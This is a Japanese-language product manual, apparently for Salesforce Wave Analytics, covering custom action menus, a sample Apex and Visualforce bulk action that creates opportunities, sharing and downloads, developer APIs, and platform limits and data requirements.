ユーザは Salesforce のアクションを実行したり、Salesforce またはその他の Web サ
イトのレコードを開いたりできます。
Wave レンズおよびダッシュボードのカスタムアクションメニューを使用すると、
チームが Salesforce オブジェクトに対してクイックアクションを使用したり、
Salesforce や Web のその他の場所にあるレコードを開いたりできます。開発者と
システム管理者は、データセットの拡張メタデータ (XMD)ファイルを編集して、
次の Wave グラフおよびテーブルインターフェース要素の一部であるメニューを
作成します。
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• グラフの値の表示ラベル (上記画像の「Opportunity for Sanders」など)。

• テーブルセル内の凡例値の表示ラベル。

• テーブルセル内の値。
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表示ラベルにマウスポインタを置くと、アクションメニューを使用できるかどうかが表示されます。値、セ
ル、または凡例をクリックするとメニューが表示され、ユーザは使用可能なアクションを選択したり、レコー
ドを開いたりできます。

アクションメニューのアクション
アクションは、以前に Salesforce オブジェクトに追加したオブジェクト固有アクションやグローバルアクション
から使用されます。Salesforce アクションにより、ユーザは他のレコードと自動的に関連付けられるレコードの
作成、特定のレコードの変更と更新、定義した方法によるレコードの操作を行うことができます。たとえば、
ユーザが新規ケース、行動、取引先、グループなどを作成できるようにするアクションを追加できます。現在
のリリースでサポートされる Salesforce オブジェクトとアクションについての詳細は、下記の「アクションメ
ニューでのオブジェクトとアクションのサポート」セクションを参照してください。

クイックアクションメニューの [レコードを開く] リンク
リンクでは、特定のデータ (Salesforce 取引先 ID など) をレンズまたはダッシュボードからレコードに渡すことが
できます。たとえば、ダッシュボードの取引先名からのリンクを設定して関連取引先 ID を Salesforce に渡し、
ユーザが [レコードを開く] リンクをクリックしたら、該当する取引先レコードを新しいタブで開くことができ
ます。カスタムリンクでは、Workday®の従業員や Concur®の経費レポートのレコードをルックアップすることも
できます。Web サイトは、HTTP または HTTPS プロトコルを使用していればリンクできます。

アクションメニューでのオブジェクトとアクションのサポート
現在のアクションメニュー実装では、Salesforce オブジェクトおよびアクションのサポートが制限されていま
す。
現在、カスタムオブジェクト、sObject、および次の Salesforce 標準オブジェクトについて Wave クイックアクショ
ンメニューを作成できます。
• 取引先
• ケース
• リード
• 商談
取引先責任者、ユーザ、またはユーザプロファイルのページレイアウトのアクションはサポートされていませ
ん。
現在のアクションメニューの実装では、Chatter アクション ([投稿]、[ファイル]、[感謝]、[リンク]、[アンケー
ト]、[質問])、オブジェクト固有のアクション、およびグローバルアクションがサポートされます。Salesforce1

アクションはサポートされません。
その他のオブジェクトとアクションは、今後のリリースでサポートされます。

アクションメニューの開発
開発チームは、データセットの拡張メタデータ (XMD) ファイルを編集することでアクションメニューを作成で
きます。詳細については、『拡張メタデータ (XMD) リファレンス』の「Dimensions Section」(Dimensions セクショ
ン) を参照してください。
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複数の Salesforce 組織インスタンスからのレコードを含むデータセットのアクションメニューに [レコードを開
く] リンクを作成するには、organizations セクションを XMD ファイルに追加する必要があります。organizations セ
クションにより、組織 ID を、データセットで参照されている各組織インスタンスの URL に対応付けることがで
きます。『拡張メタデータ (XMD) リファレンス』の「Organizations セクション」を参照してください。

テーブルレコードの一括アクションの設定
Wave デザイナダッシュボードのテーブルウィジェットに表示されるすべてのレコードに適用するカスタム一
括アクションを作成できます。一括アクションを使用して、レコードを更新したり、各レコードに対してアク
ションを実行したりします。
一括アクションは Visualforce ページで定義します。Visualforce ページでは、Apex メソッドへのコールを実行でき
ます。アクションの結果やインタラクティブなフォームを表示するように Visualforce ページを設定することも
できます。たとえば、ダッシュボード閲覧者がテーブルウィジェットに表示される各商談の取引先所有者を変
更できるフォームを作成できます。
一括アクションの作成方法についての詳細を説明する前に、次の概要プロセスを確認します。
1. Wave は、テーブルウィジェットを入力するために使用される SAQL クエリを Visualforce ページに渡します。

メモ: 通常、Wave が渡す SAQL クエリには制限が含まれています。より多くの結果を返すには、SAQL ク
エリの limit ステートメントを変更します。

2. カスタム Visualforce を作成します。必要に応じて SAQL クエリを抽出する Apex コードも作成します。
3. コードでは、Wave クエリ API に対して SAQL クエリを実行します。
4. Wave API は、クエリの結果 (データセット行) を Visualforce ページに返します。
5. 返されたデータセット行に対してアクションを実行するその他のカスタムコードを作成します。たとえば、

一括編集や一括作成を実行したり、サードパーティと統合したりできます。

メモ: 一括アクションは、データセットをクエリするステップでのみ機能します。テーブルウィジェット
が static または soql 種別のステップで作成されている場合、アクションは機能しません。

一括アクションの例
[商談を作成] オプションをテーブルウィジェットのアクションメニューに追加するとします。このアクショ
ンでは、テーブルウィジェットに表示される各取引先の商談を作成する必要があります。

一括アクションの例
[商談を作成] オプションをテーブルウィジェットのアクションメニューに追加するとします。このアクション
では、テーブルウィジェットに表示される各取引先の商談を作成する必要があります。
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メモ: このウィジェットレベルのアクションメニューは、レコードからアクセスできるレコードレベルの
アクションメニューとは異なります。

現状に関する情報をユーザが常に確認できるように、アクションでは次のタスクの進行状況を表示する Visualforce

ページも表示する必要があります。
1. Visualforce ページでは、テーブルウィジェットを入力するために使用される SAQL クエリから取引先のリスト

を取得します。他のダッシュボードウィジェットの選択によってテーブルウィジェットの結果がすでに絞
り込まれている場合、絞り込まれたレコードのみが返されます。

2. Visualforce ページでは、取得された各取引先の商談が作成されます。

3. Visualforce ページには、各取引先で作成された商談が表示されます。
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この一括アクションを実装するには、次のタスクを実行します。

Apex コントローラクラスおよびメソッドを使用したアクション動作の定義
テーブルウィジェットに表示される取引先のリストを生成して、各取引先の商談を作成し、各タスクの進
行状況を返す Apex コントローラクラスおよびメソッドを定義します。
アクションを実行する Visualforce ページの作成
Visualforce ページでは、Apex コントローラクラスで定義されたメソッドをコールし、アクションを呼び出し
てタスクの状況を提供します。
テーブルウィジェットへの一括アクションの割り当て
Visualforce ページで定義された一括アクションを公開するように、テーブルウィジェットのプロパティを設
定します。

Apex コントローラクラスおよびメソッドを使用したアクション動作の定義
テーブルウィジェットに表示される取引先のリストを生成して、各取引先の商談を作成し、各タスクの進行状
況を返す Apex コントローラクラスおよびメソッドを定義します。
1. [設定] から、[クイック検索] ボックスに「Apex クラス」と入力します。
2. [Apex クラス] を選択します。
3. [新規] をクリックします。

4. 次のコードを追加します。
public class CreateOpportunitiesController {

public string query{get; set;}
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/* To determine the records to perform the bulk action on, extract the SAQL query */
public PageReference init() {

query = ApexPages.currentPage().getParameters().get('query');
return null;

}

/* Takes the account records from the SAQL query, creates an opportunity for each account,
and then returns a map between account ID and new opportunity name */

@RemoteAction
public static Map<String, String> create(List <Map<String, String>> accountRecords)

{
Map<String, String> result = new Map<String, String>();

List<Opportunity> opps = new List<Opportunity>();
for (Map<String, String> accountRecord : accountRecords) {

String name = accountRecord.get('Account.Name') + ' - Sprint Review - 12/2';

String accountId = accountRecord.get('AccountId');
result.put(accountId, name);
Opportunity opp = new Opportunity(

Name = name,
Type ='New Customer',
AccountId = Id.valueOf(accountId),
CloseDate=Date.valueOf('2016-12-31'),
StageName='Prospecting');

opps.add(opp);
}
insert opps;
return result;

}
}

5. [保存] をクリックします。

アクションを実行する Visualforce ページの作成
Visualforce ページでは、Apex コントローラクラスで定義されたメソッドをコールし、アクションを呼び出して
タスクの状況を提供します。
1. [設定] から、[クイック検索] ボックスに「Visualforce」と入力します。
2. [Visualforce ページ] を選択します。
3. [新規] をクリックします。
4. Visualforce ページの表示ラベルと説明を入力します。
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5. 既存のマークアップを次のコードで置き換えます。
<apex:page controller="CreateOpportunitiesController" action="{!init}" showheader="false"
sidebar="false" standardStylesheets="false" title="Create Opportunities" >

<apex:stylesheet
value="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css"/>

/* Use jQuery to process API calls */
<apex:includeScript value="https://code.jquery.com/jquery-3.1.0.min.js"/>
<style>

th {
width: 50%;

}
h4 {

font-size: 24px;
}
table {

font-size: 20px;
width: 100%;

}
</style>
<div class="container-fluid">

/* Add HTML table to the Visualforce page that shows the accounts, the opportunity
creation status, and then finally the new opportunity name */

<h4 id="message">Querying Accounts...</h4>
<table name="results" id="results" data-role="table" class="table-bordered

table-striped table-responsive">
<thead><tr><th>Account</th><th>Opportunity</th></tr></thead>
<tbody></tbody>

</table>
</div>

<script>
$(function() {

$.ajaxSetup({
headers: {"Authorization": 'Bearer {!$Api.Session_ID}'}

});
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setTimeout(executeQuery, 1000);
});

/* Executes the SAQL query and displays the resulting accounts. */
function executeQuery() {

var query = {};
query.statements = "{!JSENCODE(query)}";
var queryObj = {query: query.statements};
$.ajax({

type: 'POST',
url: '/services/data/v39.0/wave/query',
data: JSON.stringify(queryObj),
contentType: 'application/json',
success: function(data) {

$('#message').html('Creating Opportunities...');
var record = null;
var row = null;
$('#results tbody').empty();

for (var i = 0; i < data.results.records.length; i++) {
record = data.results.records[i];
row = $('<tr>');
row.append($('<td>').html(record['Account.Name']));
row.append($('<td class="' + record.AccountId +

'">').html('Creating...'));
$('#results tbody').append(row);

}

setTimeout(function() {createOpportunities(data.results.records);},
1000);

},
});

}

/* Calls the Apex controller method that creates opportunities for each account and
returns the opportunity name for each account to the HTML table. */

function createOpportunities(accountRecords) {
CreateOpportunitiesController.create(accountRecords, function(result, event)

{
console.log(result);
if (event.status) {

for (var i = 0; i < accountRecords.length; i++) {
$('td.' +

accountRecords[i].AccountId).html(result[accountRecords[i].AccountId]);
}

$('#message').html(accountRecords.length + ' Opportunities Created');

}
else {

$('#message').html('Error: ' + event.message);
}

});
}
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</script>
</apex:page>

6. [保存] をクリックします。

テーブルウィジェットへの一括アクションの割り当て
Visualforce ページで定義された一括アクションを公開するように、テーブルウィジェットのプロパティを設定
します。
1. テーブルウィジェットが含まれている Wave ダッシュボードを開きます。
2. ダッシュボードを編集します。
3. テーブルウィジェットを選択します。
4. ウィジェットのプロパティで、[カスタムアクションを表示] を選択します。
5. 次のウィジェットのプロパティを入力します。

説明プロパティ

アクションメニュー内のアクションの表示ラベル。カスタムアクション表示ラベル

Visualforce ページの API 参照名。Visualforce ページ名

省略可能。Visualforce ページに対して指定された名前
空間プレフィックス。

Visualforce 名前空間プレフィックス

6. ダッシュボードを保存します。
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画像や絞り込まれたデータのダウンロード

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience。

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

Wave Analytics ユーザイン
ターフェースを使用して
スクリーンショットや表
形式のデータをダウン
ロードする
• 「Wave Analytics のダ

ウンロード」

レンズでの探索やダッシュボードウィジェットから絞り込まれたデータをダウ
ンロードします。ダウンロード形式には、画像 (.png)、Microsoft® Excel® (.xls)、
およびカンマ区切り値 (.csv) ファイルがあります。この機能は、表示されたク
エリ (またはステップ) の結果をダウンロードします。
ダッシュボードウィジェットのドロップダウンメニューから [ダウンロード] を
選択します。

または、レンズから [共有] を選択し、[ダウンロード] を選択します。

絞り込まれたデータをダウンロードするときは、行数がクエリによって制限されます。クエリあたりのデフォ
ルトの制限は、10,000 行です。異なる値を設定するには、SAQL の limit ステートメントを使用します。

関連トピック:

Wave Analytics からのダウンロードの有効化
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Chatter 投稿および共有リンクによる視覚化の組み込み

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

視覚化を表示する
• 「Wave Analyticsの使

用」

視覚化を同僚と共有するには、Chatterに投稿したり、一意の URL を取得したりし
ます。Chatter 投稿では、画像と、Wave Analyticsのアセット (レンズ、ダッシュボー
ド、アプリケーション) へのリンクが提供されます。同僚は、アセットへのリン
クとアクセス権があれば、表示される情報をドリルダウンして探索できます。
1. [共有] をクリックします。

2. 目的の共有方法のタブをクリックします。[フィードに投稿] (画像と、レン
ズ、ダッシュボード、またはアプリケーションへのリンクをChatterに投稿す
る) または [URL を取得] (アセットへの一意の URL を取得する) のいずれかにな
ります。
a. Chatterに投稿する場合、[ユーザ]または [グループ]フィードを選択し、名

前を入力して、コメントを入力します。また、投稿から画像を削除する
には、画像にマウスポインタを置いて [x] をクリックします。投稿された
画像は公開されていることに留意してください。

b. 一意の URL を取得する場合は、リンクをコピーし、共有する場所に貼り付
けます。

3. 該当する場合は、[アクセス権を付与] をクリックして共有アクセス権のレベルを設定します。
4. [完了] をクリックします。

メモ: 視覚化を共有するには、視覚化が含まれるアプリケーションへのアクセス権を付与する必要が
あります。デフォルトの共有アプリケーション内のレンズ、データセット、ダッシュボードには、シ
ステム管理者がアクセスを制限していない限り、すべての Wave Analytics ユーザがアクセスできます。
その他すべてのアプリケーションは、アプリケーションへのマネージャアクセス権を持つユーザが特
定のユーザ、グループ、またはロールと共有しない限り非公開です。

Wave の使用開始
数回クリックするだけで、Wave アプリケーション、ダッシュボード、およびレンズを実行できます。

Wave Analytics を開く
Salesforceヘッダーのアプリケーションメニューまたはアプリケーションランチャーを開き、[Wave Analytics]

をクリックして Wave Analytics に移動します。または、Salesforce 内のタブから個人の分析ホームにアクセス
します。
Wave の操作方法
[Wave Analytics] タブは、データ探索のホームベースです。
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Wave Analytics を開く

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience。

有料オプションで使用可
能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition。
Developer Edition でも使用
可能。

ユーザ権限

Wave Analytics にアクセス
する
• 「Wave Analyticsの使

用」

Salesforce ヘッダーのアプリケーションメニューまたはアプリケーションラン
チャーを開き、[Wave Analytics]をクリックしてWave Analyticsに移動します。また
は、Salesforce 内のタブから個人の分析ホームにアクセスします。
Wave Analytics を開く方法は、組織内で有効になっているユーザ環境によって異な
ります。
Lightning Experience では、アプリケーションピッカー (1) をクリックし、[Wave

Analytics] アプリケーションをクリックします。

Salesforce Classic では、アプリケーションピッカーから [Wave Analytics] を選択します。
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Salesforce 組織の [分析] タブから Wave を開始することもできます。タブが表示されていない場合、新しいタブ
のようにシステム管理者がそのように設定しています。

Wave の操作方法
[Wave Analytics] タブは、データ探索のホームベースです。

Analytics ホームへのアプリケーションの固定
Wave アプリケーションはダッシュボードを実行する場所で、お気に入りのアプリケーションを個人の Analytics

ホームページに固定できます。
アプリケーションの実行
Wave アプリケーションを開始して、そのダッシュボードを実行および表示します。
通知の追跡
Analytics ホームページの下部で、設定した通知の進行状況を追跡します。
Wave アセットの参照
アプリケーション、ダッシュボード、レンズの整理されたリストを表示または検索するには、ホームペー
ジで [すべてを参照] をクリックします。

Analytics ホームへのアプリケーションの固定
Wave アプリケーションはダッシュボードを実行する場所で、お気に入りのアプリケーションを個人の Analytics

ホームページに固定できます。
[Wave Analytics] タブを初めてクリックしたときに、お気に入りの Wave アプリケーションを固定表示するように
求められます。
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[アプリケーションを固定]をクリックし、定期的にアクセスするアプリケーションを選択します。または、す
でに固定されているアプリケーションをクリックして固定解除します。

固定した順番でアプリケーションが Wave Analytics ホームに表示されます。

メモ: まだアプリケーションがない場合は、「アプリケーションの作成」に移動します。

アプリケーションの実行
Wave アプリケーションを開始して、そのダッシュボードを実行および表示します。
Wave Analytics ホームページに固定したアプリケーションまたは [参照] タブにリストされているアプリケーショ
ンのいずれかをクリックします。アプリケーションをクリックするとアプリケーションがプレゼンテーション
モードで開き、最初のダッシュボードがナビゲーションリストに表示されます。

ナビゲーションパネルを開くには、ナビゲーションアイコン ( ) をクリックします。利用可能なダッシュ
ボードのリストがパネルに表示されます。アイコンを再度クリックしてパネルを閉じます。
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ナビゲーションパネルが開いたら、ダッシュボードをクリックして開始します。ダッシュボードでは、データ
の対話型ライブビューを探索できます。ここで、ウィジェット、切り替え、グラフをクリックします。ダッ
シュボードを初期状態に戻すには、更新アイコン ( ) をクリックします。
また、実行中のアプリケーションから次のことができます。

• 全画面で表示する
• 通知の設定および管理をする
• ダッシュボードにアノテーションを付加する
• ダッシュボードを共有する
• ダッシュボードデザイナでダッシュボードを開いて編集する (権限とアクセス権がある場合)

• アプリケーションのコンテンツを参照する
• ホームページからアプリケーションを固定解除する (権限とアクセス権がある場合)

通知の追跡
Analytics ホームページの下部で、設定した通知の進行状況を追跡します。

Wave Analytics ホームページでアプリケーションをクリックし、KPI のあるダッシュボードに移動します。KPI の
数値は、実際には通知を設定するために使用できるダッシュボードウィジェットです。数値にマウスポインタ
を置いて、ドロップダウンメニューを探し、[通知を設定] を選択します。
通知の設定方法についての詳細は、「重要なビジネス総計値に関するスマート通知の設定」を参照してくださ
い。
有効なすべての通知が分析ホームページに表示されます。通知の追跡ゲージは、通知で設定した条件に対する
進行状況が表示されるように設計されています。
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Wave アセットの参照
アプリケーション、ダッシュボード、レンズの整理されたリストを表示または検索するには、ホームページで
[すべてを参照] をクリックします。
メニューから[アプリケーションを参照]を選択して、実行中のアプリケーションのコンテンツを表示すること
もできます。

Wave の [参照] タブでは、すべてのアセットを表示したり、アセットで並び替えたり、検索したりできます。
アセットのリストは、最後に使用した順序で並べられます。リスト全体を表示するには、アセットの横にある
[さらに表示] をクリックします。

説明および追加情報と共にアセットを表示するには、リストビューアイコン ( ) をクリックします。ダッ
シュボードおよびレンズのサムネイル画像があるタイルに戻すには、タイルビューアイコン ( ) をクリック
します。

モバイル対応
Wave Analytics for Android および iOS のリソースを見つけます。

Resourcesモバイルのトピック

iTunesアプリケーションの取得
Google Play
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Resourcesモバイルのトピック

Wave Analytics for iOSログインおよび開始
Wave Analytics for Android

各種のデバイス固有の Wave ダッシュボードレイアウトの生成モバイル合わせたダッシュ
ボードレイアウトのカスタマ
イズ Mobile Dashboard Layouts JSON Reference (モバイルダッシュボードレイアウト JSON

リファレンス)

モバイルでの Wave Analytics の接続アプリケーションWave Mobile の管理

iPhone® および iPad® での Wave Analytics の使用の制限制限の把握

Android デバイスでの Wave Analytics の使用の制限

Wave プラットフォームでの開発
Wave で開発するためのリソースを見つけます。

Wave REST API

Wave REST API を使用して、Wave Analytics のデータセットとレンズにプログラムでアクセスできます。
Salesforce Analytics Query Language (SAQL)

SAQLを使用すると、Wave Analyticsデータセットのデータにアクセスできます。Wave Analyticsは、レンズおよ
びダッシュボードのバックグラウンドで SAQL を使用して視覚化のためのデータを収集します。
Wave の移行、パッケージ化、および配布
Wave アセットを変更セットを使用して移行し、管理パッケージ内にまとめてバンドルし、AppExchange とラ
イセンス管理アプリケーションを使用してパッケージを配布および追跡し、メタデータ API を使用して組織
のためのカスタマイズを管理します。

Wave REST API
Wave REST API を使用して、Wave Analytics のデータセットとレンズにプログラムでアクセスできます。
Wave REST API を使用して、次の機能を実行できます。
• Wave Platform に直接クエリを送信する。
• Wave Platform にインポートされたデータセットにアクセスする。
• Wave Analytics レンズを作成および取得する。
• XMD 情報にアクセスする。
• データセットバージョンのリストを取得する。
• Wave Analytics アプリケーションを作成および取得する。
• Wave Analytics ダッシュボードを作成、更新、および取得する。
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• アプリケーションの連動関係のリストを取得する。
• ユーザが使用可能な機能を決定する。
• Wave レポートスナップショットのトレンドを使用およびスケジュールする。
• 複製データセットを操作する。
• 「eclair」地図グラフを取得、追加、更新、削除する。
API についての詳細は、「Wave REST API の概要」を参照してください。

関連トピック:

Wave REST API の有効化

Salesforce Analytics Query Language (SAQL)
SAQL を使用すると、Wave Analytics データセットのデータにアクセスできます。Wave Analytics は、レンズおよび
ダッシュボードのバックグラウンドで SAQL を使用して視覚化のためのデータを収集します。
開発者は、次を介して Wave Analytics データに直接アクセスする SAQL を記述できます。
• Wave REST API

Wave Analyticsデータにアクセスして分析する独自のアプリケーションを作成したり、既存のアプリケーショ
ンとデータを統合したりします。

• ダッシュボード JSON

高度なダッシュボードを作成します。ダッシュボードは、グラフ、総計値、およびテーブルで構成されま
す。

SAQL についての詳細は、「SAQL の概要」を参照してください。

関連トピック:

レンズのバックグラウンドでのクエリの表示

Wave の移行、パッケージ化、および配布
Wave アセットを変更セットを使用して移行し、管理パッケージ内にまとめてバンドルし、AppExchange とライ
センス管理アプリケーションを使用してパッケージを配布および追跡し、メタデータ API を使用して組織のた
めのカスタマイズを管理します。

変更セットを使用した Wave アセットの移行
変更セットを使用すると、カスタマイズした Wave アセットをリリース接続のある組織間で移行できます。
たとえば、ダッシュボード、レンズ、データセット、データフローが含まれる Wave アプリケーションを
Sandbox 組織で作成し、テストが完了したらアプリケーションアセットを本番組織に移行することができま
す。
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Wave アセットの管理パッケージへのパッケージ化
Wave アプリケーション、ダッシュボード、レンズ、データセット、データフローなどの Wave アセットで
構成される管理パッケージを作成できます。パッケージを使用して、それらのアセットを他のユーザや組
織 (社外を含む) に配布できます。
AppExchange を使用した Wave アセットの配布
管理パッケージがセキュリティレビューで認定されたら、AppExchange にアップロードして顧客にリリース
できます。ライセンス管理アプリケーションでパッケージリリース種別を指定し、メジャーおよびマイナー
バージョン番号を管理し、ライセンスオプションを指定できます。
Wave アセットとユーザ XMD に対するメタデータ API の使用
Wave ではメタデータ API をフルサポートしており、組織のカスタマイズの取得、リリース、作成、更新、
または削除に使用できます。

Wave Analytics の制限
このセクションでは、Wave Analytics の制限について説明します。
すべてのサポート対象のエディションに次の制限が適用されます。制限を拡張する場合は、salesforce.com にお
問い合わせください。
API コールの制限

値制限

100組織あたりの最大同時 Wave Analytics API コール数
7,5001 時間あたりのユーザごとの最大 Wave Analytics API コール数

Wave Analytics ライセンスのデータストレージ制限

メモ: 次の表に示すデータ制限は、2015 年 10 月 20 日以降に購入された Analytics Cloud - Wave Analytics

Platform および Analytics Cloud - Sales Wave Analytics アプリケーションおよび Service Wave Analytics アプリケー
ションライセンスにのみ適用されます。

制限ライセンス

1 億行Analytics Cloud - Wave Analytics Platform

Analytics Cloud - Wave Analytics Platform ライセンスなしで
使用する場合は 2,500 万行。Sales Waveアプリケーショ

Sales Wave アプリケーションおよび Service Wave アプ
リケーション

ンライセンスおよびService Waveアプリケーションラ
イセンスを使用しても、プラットフォームライセン
スのデータの上限は増えません。

1 億行Analytics Cloud - Additional Data Rows
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データセットのストレージ制限

値制限

2015 年 10 月 20 日より前に購入されたプラットフォー
ムライセンスあたり 2 億 5,000 万

登録された全データセットを組み合わせた最大行数

メモ: 最高のパフォーマンスを得るために、
データセットは 1 億レコードの範囲内にする
ことをお勧めします。レコードのサイズや基
準の基数など、一部の項目は、パフォーマン
スに大きな影響または悪影響を及ぼすことが
あります。

メモ: Wave Analytics データセットストレージ
は、Salesforce コアファイルまたは Salesforce コ
アデータストレージの制限に対してカウント
されません。

5,000 (最大 1,000 個の日付項目を含む)データセットの最大項目数
36,028,797,018,963,967データセット内の各数値項目の最大値
-36,028,797,018,963,968データセット内の各数値項目の最小値

データフローの制限

値制限

2424 時間周期の最大データフロー実行数

メモ:  Wave は Bulk API を使用し、Salesforce Bulk API の制限の対象となります。データフローで個別の Bulk

API コールが送信され、各 Salesforce オブジェクトからデータが抽出されます。データフローと Bulk API

のどちらがデータをチャンクに分割するかに応じて、100K ～ 250K のバッチサイズが使用されます。結
果として、オブジェクトから 100 万行が抽出され、データフローで 4 ～ 10 バッチが作成されます。

ELT ジョブの制限

値制限

5 分スケジュールされたが実行されていない ELT ジョブ
のタイムアウト

メモ:  ELT ジョブには、ユーザデータフロー、CSV アップロード、データセットレシピ、複製が含まれ
ます。
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複製の制限

値制限

40複製で有効にできるオブジェクトの最大数

メモ: 現在データフローで 40 個を超えるオブジェクトを抽出している場合は、複製を有効にする前に
Salesforce カスタマーサポートにお問い合わせください。

トレンドデータの制限

値制限

5ユーザあたりの最大トレンド分析データセット数
100,000スナップショットあたりの最大行数

4 千万組織あたりのすべてのスナップショットの月間最大
行数

メモ: トレンド分析データセットは、行の合計数など、Wave プラットフォーム全体の制限についてカ
ウントされます。

Sales Wave アプリケーションの制限
Sales Waveでサポートされるカスタムオブジェクトには制限があり、アプリケーションを実装する組織ごと
に 10 個まで、データフローは 1 つのみとなっています。これらは契約上の制限であり、技術的制限ではあ
りません。

外部データの制限

値制限

外部データ API を使用する場合は 40 GB。外部データアップロード 1 回あたりの最大ファイル
サイズ

ユーザインターフェースを使用する場合は 512 MB。

50 GB24 時間周期の全外部データアップロードの最大ファ
イルサイズ

5024 時間周期でアップロードできる外部データファイ
ルの最大数

32,0001 項目の最大文字数

5,000 (最大 1,000 個の日付項目を含む)1 レコードの最大項目数
400,0001 レコードの全項目の最大総文字数
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クエリの制限

値制限

プラットフォームライセンスあたり 50組織あたりの最大同時クエリ数
10ユーザあたりの最大同時クエリ数
10,000クエリあたりの返される最大行数

デフォルト値は、10,000 です。異なる値を設定する
には、SAQL limit ステートメントを使用します。

2 分クエリタイムアウト

Wave が有効な Developer Edition には次の制限が適用されます。
Developer Edition の制限

値制限

250,000データの最大行数
5最大同時クエリ数

メモ:  Wave は Force.com プラットフォーム上に構築されており、Force.com プラットフォームの制限が適用
されます。たとえば、SOQL クエリ制限 (20,000 文字) によって、sfdcDigest 変換がデータを抽出できる項目の
数が制御されます。Force.com の制限を超過すると、エラーが発生します。「Force.com プラットフォーム
の制限」を参照してください。

Wave Analytics の制限事項
Wave Analytics は、いくつかの点で他の Salesforce 機能とは異なります。

リリースは同時に行われる
インスタンスにかかわらず、すべてのユーザが同じスケジュールでWave Analytics更新を受け取ります。関連す
る主要更新は、分散されたスケジュールでインスタンスごとに行われます。

ローカライズ
Wave Analytics は、次の例外を除きローカライズ済みです。
• アラビア語やヘブライ語など、右から左へ記述される言語はサポートされません。
• エラーメッセージのサブセットは英語でのみ表示される可能性があります。
• モバイル iOS アプリケーションには、英語バージョンのサンプルデータセットとダッシュボードのみが含ま

れます。
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制限付き国際化サポート
Wave Analytics では、次の制限付きで国際化サポートが提供されます。
• 翻訳された表示ラベルを表示するには、ロケールと言語の両方を設定する必要があります。
• データセット内の実際のデータはローカライズされません。
• 各データセットには、メタデータで指定された 1 つのロケールを使用できます。メタデータロケールは、

個別のユーザのロケール設定によって上書きされません。独自のロケールと言語が設定されていても、す
べてのユーザに対して同じ日付、時刻、数値形式、およびディメンション名が表示されます。

• 検索条件による検索では、大文字と小文字が区別され、アクセントも区別されます。たとえば、検索条件
「Andre」の検索結果では、「André」は返されません。

• マルチ通貨はサポートされません。Wave Analytics が組織のデフォルト通貨を抽出すると、金額の値にその
通貨が使用され、別の通貨には変換されません。

• データセット内のデータの並び替えは期待どおりに動作しない場合があります。

モバイルブラウザでダッシュボードがサポートされない
モバイルデバイスで Wave ダッシュボードを表示するには、Wave Analytics モバイルアプリケーションを使用し
ます。

アクセシビリティ機能がサポートされない
Wave Analytics はアクセシビリティ機能に対応していません。

項目レベルセキュリティが制限される
ファイル経由でアップロードされる外部データに項目レベルセキュリティを使用できません。元のデータベー
スまたは Salesforce オブジェクトに実装されている項目レベルセキュリティは、データが Wave Analytics データ
セットに読み込まれると保持されません。詳細は、『Wave Analytics セキュリティ実装ガイド』を参照してくだ
さい。

Sales Wave のデータ要件
Sales Wave ダッシュボードが正しく機能するには、Sales Cloud データが次の要件を満たしている必要がありま
す。
• 標準のセールスオブジェクトを使用している。
• 少なくとも 1 つの行動と 1 つの ToDo が商談に関連付けられている。
• 商談オブジェクトの [取引先]、[フェーズ]、および [完了予定日] 項目の履歴管理が有効になっている。
• ケースが取引先に関連付けられている (設定ウィザードを使用してケースデータを Sales Wave にインポート

する場合)。
• 設定ウィザードを使用して Sales Wave にリードデータをインポートする場合の 2 つの要件

1. 少なくとも 1 つのリードが商談に変換されている。
2. リードが取引先に関連付けられている。
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• 設定ウィザードを使用して Sales Wave にキャンペーンデータをインポートする場合の 2 つの要件
1. 少なくとも 1 つの商談がキャンペーンに関連付けられている。
2. 少なくとも 1 つのキャンペーンメンバーがキャンペーンに関連付けられている。

• 設定ウィザードを使用して Sales Wave に商談レコードタイプをインポートする場合の 2 つの要件
1. 少なくとも 1 つの商談レコードタイプが定義されている。
2. 商談レコードタイプが少なくとも 1 つの商談に関連付けられている。

Sales Wave の Salesforce オブジェクトおよび項目のサポート
Sales Wave では、すべての Salesforce 標準/カスタムオブジェクトおよびデータがサポートされます。ただし、ア
プリケーションの初回作成時は、デフォルトで定義済みのオブジェクトおよび項目のセットのみが含まれま
す。
Sales Waveでは、次の標準 Salesforce オブジェクトから選択された項目を公開するデータフローが作成されます。
• 取引先
• ユーザ
• ロール
• 商談
• 商品 (商談品目)

• ToDo

• 行動
Sales Wave は、標準 Salesforce オブジェクトの標準およびカスタム項目をサポートしています。提供される項目
は、組み込みの設定ウィザードを使用してアプリケーションを作成したときの回答によって決まります。

メモ: Sales Wave でサポートされるカスタムオブジェクトには制限があり、Sales Wave を実装する組織ごと
に 10 個までとなっています。これは契約上の制限であり、技術的な制限ではありません。

アプリケーションの初回作成時に含まれていなかったカスタムオブジェクトまたは項目を追加するには、Sales

Wave データフローを更新する必要があります。詳細は、「データフローを使用したデータセットの作成」を
参照してください。

Sales Wave の Salesforce 以外のデータのサポート
Sales Waveは、ユーザレベルの目標データが含まれるCSV ファイルを除き、外部データソースをサポートしてい
ません。他の外部データをインポートするには、追加ライセンスが必要です。詳細は、Salesforce の担当者にお
問い合わせください。

メモ: 目標に関するデータを Sales Wave に追加するには、詳細が記載された CSV ファイルをアップロード
する必要があります。詳細は、「Sales Wave の Quota (Target) データセットの更新」を参照してください。
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Service Wave データ要件
Service Waveダッシュボードが正常に機能するには、Service Cloud データに次のそれぞれ 1 つ以上のデータが含ま
れている必要があります。
• 行動
• ToDo

• クローズケース
• ケースまたは商談に添付された公開記事
ケースオブジェクトのカスタム数式項目が存在するか、次の項目が作成されている必要があります。
• SLA 失敗 (テキスト項目)

• FCR (Boolean)

Salesforce オブジェクトおよび項目の Service Wave サポート
Service Wave では、すべての Salesforce 標準/カスタムオブジェクトおよびデータがサポートされます。ただし、
アプリケーションの初回作成時は、デフォルトで定義済みのオブジェクトおよび項目のセットのみが含まれま
す。アプリケーションでは、次の Salesforce オブジェクトから選択された項目を公開するデータフローが作成さ
れます。
• 取引先
• ケース
• 取引先責任者
• 行動
• ユーザ
• ユーザロール
• ToDo

